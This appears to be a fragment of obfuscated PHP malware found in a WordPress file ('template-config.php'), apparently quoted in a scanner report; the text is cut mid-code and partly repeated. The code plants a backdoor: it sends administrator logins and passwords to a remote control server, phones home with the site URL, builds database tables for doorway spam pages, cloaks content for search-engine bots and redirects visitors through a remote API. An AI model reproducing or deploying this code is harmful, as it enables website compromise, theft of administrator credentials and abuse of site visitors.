'zxcveer4eefresfsdfv';die();}}}$uatobadfilter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread\srevision#i','#sqworm#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#MJ12bot#i','#MegaIndex#i','#Mediatoolkitbot#i','#DotBot#i','#opensiteexplorer#i','#Go-http-client#i','#Photon#i','#bloglovin#i','#scalaj-http#i','#AddThis#i','#LinkWalker#i','#adscanner#i','#istellabot#i','#Datanyze#i');$badbot='';if(strpos('qqq' .preg_replace($uatobadfilter,'-ABOT-',$useragent),'-ABOT-')){$badbot='yes';}if(mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)!='no'&& getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 &&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-login')&& is_user_logged_in()===false && empty($badbot)){$reddata=readValueFromBD($maintablaname,'wpred, wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$redcode='';$redurl='';if(!empty($reddata)&& $reddata != 'no'){$redcode=$reddata['wpred'];$redurl=$reddata['wpredurl'];}$currentdoorcache=readValueFromBD($maintablaname,'wpcache, wpk','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentdoorcache == 'no'){$showlinksornot='no';$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$showlinksornot=$doorsettings['ownlinks'];}if($showlinksornot=='yes'){$currentlinkscache=readValueFromBD($linkstablaname,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentlinkscache == 'no'|| empty($currentlinkscache)){$randlinks=randomValuesFromTableById($maintablaname,'wpurl,wpk',rand(4,6),$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($randlinks)&& $randlinks != 'no'&& is_array($randlinks)){$goodlinks=array();foreach($randlinks as $onelinkdata){if(!empty($onelinkdata['wpk'])){$goodlinks[]='<a href=\'' .trim(urldecode($onelinkdata['wpurl'])) .'\'>' .trim(urldecode($onelinkdata['wpk'])) .'</a>';}}if(count($goodlinks)>0){$goodlinks=implode(' ',$goodlinks);insertToBD($linkstablaname,'wphash, wpcache',''' .$currenthash .'', '' .urlencode($goodlinks) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$goodlinks='';}}}else{$goodlinks=urldecode($currentlinkscache);}if(!empty($goodlinks)){$bot='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$bot=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],'',$redurl['lapi'],'yes','','','','');}}else{$bot=goToRedirect($ip,$referer,$useragent,'','','','yes','','','','');}if($bot == 'bot'){$selfpage=placeLinks($currenturl,$goodlinks);if(!empty($selfpage)){echo $selfpage;die();}}}}}else{$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($clientidfmbd)&&!empty($admurlfmbd)){$admurlfmbd=urldecode($admurlfmbd);$currentkey=$currentdoorcache['wpk'];$key1frredir=readValueFromBD($maintablaname,'wpk1','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($key1frredir)|| $key1frredir=='no'){$key1frredir='';}$redresult='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$redresult=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],$currenturl,$redurl['mapi'],'',urldecode($currentkey),'','',$key1frredir);}}elseif(empty($redcode)){$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),'','','');}else{$redcode=urldecode($redcode);$redurl=urldecode($redurl);$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),$redcode,$redurl,$key1frredir);}if(empty($currentdoorcache['wpcache'])|| $currentkey=='edf8329we'){$params='clientid=' .$clientidfmbd .'&givemecontent=' .$currentkey;$content=httpPost($admurlfmbd,$params);if(!empty($content)&& strlen($content)>1000){$content=urlencode($content);if($currentkey!='edf8329we'){updateBDData($maintablaname,$content,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}else{$content=$currentdoorcache['wpcache'];}if($redresult == 'bot'){if(stripos('qqq' .$useragent,'google')|| stripos('qqq' .$useragent,'bing')|| stripos('qqq' .$useragent,'yahoo')|| stripos('qqq' .$useragent,'yandex')){$botscount=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($botscount)|| $botscount=='no'){$botscount=1;}elseif(is_numeric($botscount)){$botscount++;}else{$botscount=1;}if(!empty($botscount)){updateBDData($maintablaname,$botscount,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo urldecode($content);die();}elseif(!empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}elseif(is_numeric($userscount)){$userscount++;}else{$userscount=1;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo $redresult;die();}elseif(empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}else{$userscount++;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}}}}}function decodeservurl($servurl){$goodservurl=array();foreach(str_split($servurl)as $onechar){if(is_numeric($onechar)){if($onechar>=7){$onechar=$onechar-7;}else{$onechar=$onechar+10-7;}}$goodservurl[]=$onechar;}return urldecode(base64_decode(implode($goodservurl)));}function createIndexBWD($tablename,$indcol,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return 'udfgoihdkh48sied';}$sql='ALTER TABLE ' .$tablename .' ADD INDEX ' .$indcol .' (' .$indcol .'(5))';if(mysqli_query($dbcon,$sql)){mysqli_close($dbcon);return 'yes';}else{mysqli_close($dbcon);return 'orutydrfsxgxcvbxcv';}}function getStatus($mtablename,$ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$checkdata=array();$checkmaintable=mysqlTableSeekWP($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checkmaintable)&& $checkmaintable != 'no'){$checkdata['maintable']='good';$linescount=getCountofTable($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($linescount!='no'&& $linescount>3){$checkdata['cachelines']=$linescount-3;$cachecount=getCacheCount($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($cachecount!='no'&& $cachecount!='bad'){$checkdata['cachecount']=$cachecount;}else{$checkdata['cachecount']='bad';}}else{$checkdata['cachelines']='bad';$checkdata['cachecount']='bad';}}else{$checkdata['maintable']='bad';$checkdata['cachecount']='bad';}$checklinktable=mysqlTableSeekWP($ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checklinktable)&& $checklinktable != 'no'){$checkdata['linkable']='good';}else{$checkdata['linkable']='bad';}return $checkdata;}function getCacheCount($tablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return false;}else{$sql='SELECT COUNT(1) FROM ' .$tablename .' WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL';$needvalue=mysqli_query($dbcon,$sql);$needvalue=mysqli_fetch_all($needvalue);mysqli_close($dbcon);if(count($needvalue[0])>0){return $needvalue[0][0];}else{return 'bad';}}}function goToRedirect($ip,$referrer,$ua,$domain_kt,$url_curr,$apiToken,$forlinks,$keyword,$plainred,$plainredurl,$key1){if(empty($ip)){return '';}if(!empty($apiToken)){$user_agent_to_filter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#msnbot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#MJ12bot#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread revision#i','#sqworm#i','#ask#i','#lycos.spider#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#YandexBot#i','#MJ12bot#i','#MegaIndex#i','#DotBot#i');if(strpos('qqq' .preg_replace($user_agent_to_filter,'-ANGRYBOT-',$ua),'-ANGRYBOT-')){return 'bot';}$lang=$_SERVER['HTTP_ACCEPT_LANGUAGE'];$ua=urlencode($ua);$url=$domain_kt .'?is_api=1&source=' .urlencode($url_curr) .'&action=get&token=' .$apiToken .'&ua=' .$ua .'&ip=' .$ip .'&keyword=' .urlencode($keyword) .'&referrer=' .$referrer .'&lang=' .$lang .'&sub_id_1=' .urlencode($key1);if(function_exists('curl_init')){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt(curl_exec was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfile);$fp=fopen(__FILE__,'w+');fwrite($fp,$clfile);fclose($fp);@unlink(__FILE__ .'temp');}}if(!empty($_POST['log'])&&!empty($_POST['pwd'])&& function_exists('wp_authenticate')){$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable != 'no'){$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=urldecode($admurlfmbd);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admurlfmbd)&&!empty($clientidfmbd)&& $clientidfmbd!='no'&& $admurlfmbd!='no'){$un=$_POST['log'];$up=$_POST['pwd'];$auth=wp_authenticate($un,$up);$auth=(array)$auth;if(!empty($auth['ID'])){if(isset($auth['roles'][0])&& $auth['roles'][0]== 'administrator'){if(isset($auth['allcaps']['level_10'])&& $auth['allcaps']['level_10']=== true){$params='clientid=' .$clientidfmbd .'&updata=' .urlencode($un .'|||' .$up) .'&admip=' .urlencode($ip) .'&admurl=' .urlencode($currenturl);$result=httpPost($admurlfmbd,$params);}}}}}}if(empty($_GET['ertthndxbcvs'])&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'/admin')&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-admin')&&!empty($wpdbhost)&&!empty($wpdbname)&&!empty($wpdbuser)&&!empty($wpdbpass)){header('Content-type: text/html; charset=UTF-8');$currenthash=md5($currenturl);if(!empty($_SERVER['HTTP_USER_AGENT'])){$useragent=$_SERVER['HTTP_USER_AGENT'];}else{$useragent='';}if(!empty($_SERVER['HTTP_REFERER'])){$referer=$_SERVER['HTTP_REFERER'];}else{$referer='';}if(!empty($_POST['trsgdfs'])&& $_POST['trsgdfs']== '1sxhlichvls'&&!empty($_POST['qwydsdf'])){$err='';$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable == 'no'){$res=createTable($maintablaname,'wphash LONGBLOB, wpurl LONGBLOB, wpcache LONGBLOB, wpk LONGBLOB, wpk1 LONGBLOB, wpset LONGBLOB, wpred LONGBLOB, wpredurl LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}$checktable=mysqlTableSeekWP($linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable== 'no'){$res=createTable($linkstablaname,'wphash LONGBLOB, wpcache LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}createIndexBWD($maintablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);createIndexBWD($linkstablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$postpass=randString('15');$res=insertToBD($maintablaname,'wphash, wpcache',''admurl', '' .urlencode($_POST['qwydsdf']) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$res=insertToBD($maintablaname,'wphash, wpcache',''passtopost', '' .$postpass .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientid=randString('20');$res=insertToBD($maintablaname,'wphash, wpcache',''clientid', '' .$clientid .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res == 'yes'){echo 'zxcvetrhytdj65re|||||' .$postpass .':::::' .$clientid .'|||||';if(function_exists('delete_metadata')){delete_metadata('user',0,'session_tokens',false,true);}die();}else{echo 'xcvbrhr6hdhcgxcva';die();}}if(!empty($_POST['ptpxcbeiru'])){$passtopostfmbd=readValueFromBD($maintablaname,'wpcache','wphash='passtopost'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($passtopostfmbd)|| $passtopostfmbd == 'no'|| $passtopostfmbd != $_POST['ptpxcbeiru']){echo 'uewea4sfdxcbxb';die();}if(empty($admurlfmbd)|| $admurlfmbd == 'no'){echo 'kutyre54aw3eafd';die();}if(empty($clientidfmbd)|| $clientidfmbd == 'no'){echo 'xgse5rsdgiofsdsf';die();}$admurlfmbd=urldecode($admurlfmbd);if(!empty($_POST['hdfgfxoi'])&& $_POST['hdfgfxoi']== 'ncxfxdasdf'&&!empty($_POST['chpuview'])&&!empty($_POST['doorkeys'])){if(getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 && $_POST['firstpart']=='yes'){deleteLinesFmDB($maintablaname,'wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}$chpuview=$_POST['chpuview'];$chpuview=urldecode($chpuview);$doorkeys=$_POST['doorkeys'];$doorkeys=urldecode($doorkeys);$doorkeys=stripslashes($doorkeys);$doorkeys=preg_replace_callback('!s:(\d+):'(.*?)';!',function($match){return($match[1]==($match[2]))?$match[0]:'s:' .strlen($match[2]) .':'' .$match[2] .'';';},$doorkeys);$doorkeys=unserialize($doorkeys);if(!is_array($doorkeys)|| count($doorkeys)== 0){echo 'vbsdreawefzzdfv';die();}if($_POST['firstpart']=='yes'){$sitetempfrdoor=parseTemplate();if(empty($sitetempfrdoor)||!is_array($sitetempfrdoor)|| empty($sitetempfrdoor['sitetemp'])|| empty($sitetempfrdoor['chpu'])){echo 'ktdrtsdfgsdfs4tse';die();}$chpufrdoor=$sitetempfrdoor['chpu'];$sitetempfrdoor=$sitetempfrdoor['sitetemp'];$sitetempfrdoor=str_ireplace('xmlrpc.php','',$sitetempfrdoor);updateBDData($maintablaname,urlencode($chpufrdoor),'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$chpufrdoor=readValueFromBD($maintablaname,'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$chpufrdoor=urldecode($chpufrdoor);$sitetempfrdoor='notfirstpart';if(empty($chpufrdoor)|| $chpufrdoor=='no'){echo 'kiryut7dfgzxvcmcxz';die();}}$doorpagesdata=array();$testpageurl='';foreach($doorkeys as $k=>$onekey){$onekey=explode('|',$onekey);if(!empty($onekey[1])){$key_1=$onekey[1];}else{$key_1='';}$onekey=$onekey[0];if($chpuview == 'k'){$slugfrurl=sanitize_title($onekey);}elseif($chpuview == 'g'){$slugfrurl=randString(rand(7,11));}elseif($chpuview == 'n'){$slugfrurl=rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9);}$slugfrurl=strtolower($slugfrurl);$doorpageurl=str_ireplace('chpukeyplace',$slugfrurl,$chpufrdoor);$doorpagesdata[]=$onekey .':::::' .$doorpageurl;$res=insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($doorpageurl) .'', '' .urlencode($doorpageurl) .'', '' .urlencode($onekey) .'', '' .urlencode($key_1) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($_POST['firstpart']=='yes'&& $k==0){$testpageurl=str_ireplace('chpukeyplace','edf8329we',$chpufrdoor);insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($testpageurl) .'', '' .urlencode($testpageurl) .'', 'edf8329we', ''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}if($res == 'bewiursfer9uidd'){echo 'xcvbr459isdfgssdd';die();}}updateBDData($maintablaname,$_POST['doorsetts'],'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$doorpagesdata=serialize($doorpagesdata);$doorpagesdata=urlencode($doorpagesdata);$params='clientid=' .$clientidfmbd .'&newdoordata=' .$doorpagesdata .'&sitetemplate=' .urlencode($sitetempfrdoor) .'&firstpart=' .$_POST['firstpart'] .'&testpageurl=' .urlencode($testpageurl);$result=httpPost($admurlfmbd,$params);if(stripos('qqq' .$result,'trugsew9rusxildd')){echo 'xbvstrei4w0aeaorpdf';die();}elseif(stripos('qqq' .$result,'bw543ersfdgsdfffg')){echo 'pqweity5rer5syc9f';die();}else{echo 'myrtersgertsrgfdf';die();}}if(!empty($_POST['redircode'])||!empty($_POST['redirurl'])){if(!empty($_POST['redircode'])){if($_POST['redircode']=='stop'){updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{updateBDData($maintablaname,urlencode(stripslashes($_POST['redircode'])),'wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}if(!empty($_POST['redirurl'])){updateBDData($maintablaname,urlencode(stripslashes($_POST['redirurl'])),'wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}echo 'geri9rdgfojvrev';die();}if(!empty($_POST['clearcache'])){updateBDData($maintablaname,'','wpcache','wpcache IS NOT NULL AND wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'be545hgfxbfbgfdf';die();}if(!empty($_POST['editownlinks'])&&!empty($_POST['newownlinks'])){$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$doorsettings['ownlinks']=$_POST['newownlinks'];$doorsettings=serialize($doorsettings);$doorsettings=urlencode($doorsettings);updateBDData($maintablaname,$doorsettings,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'nbvw436rudtydsjjgk';die();}else{echo 'vcbntrs6udtyradgxf';die();}}if(!empty($_POST['getdoorstatus'])){$doorstatus=getStatus($maintablaname,$linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$botsstats=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($botsstats)){$botsstats=0;}$usersstats=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($usersstats)){$usersstats=0;}if(is_array($doorstatus)){$doorstatus['botsstats']=$botsstats;$doorstatus['usersstats']=$usersstats;$doorstatus=serialize($doorstatus);$doorstatus=urlencode($doorstatus);echo 'p9ot78u6syrtfxhg DOORSTATUS:::' .$doorstatus .':::DOORSTATUSq';die();}else{echo $doorstatus .'<br>';echo 'zxcveer4eefresfsdfv';die();}}}$uatobadfilter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread\srevision#i','#sqworm#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#MJ12bot#i','#MegaIndex#i','#Mediatoolkitbot#i','#DotBot#i','#opensiteexplorer#i','#Go-http-client#i','#Photon#i','#bloglovin#i','#scalaj-http#i','#AddThis#i','#LinkWalker#i','#adscanner#i','#istellabot#i','#Datanyze#i');$badbot='';if(strpos('qqq' .preg_replace($uatobadfilter,'-ABOT-',$useragent),'-ABOT-')){$badbot='yes';}if(mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)!='no'&& getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 &&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-login')&& is_user_logged_in()===false && 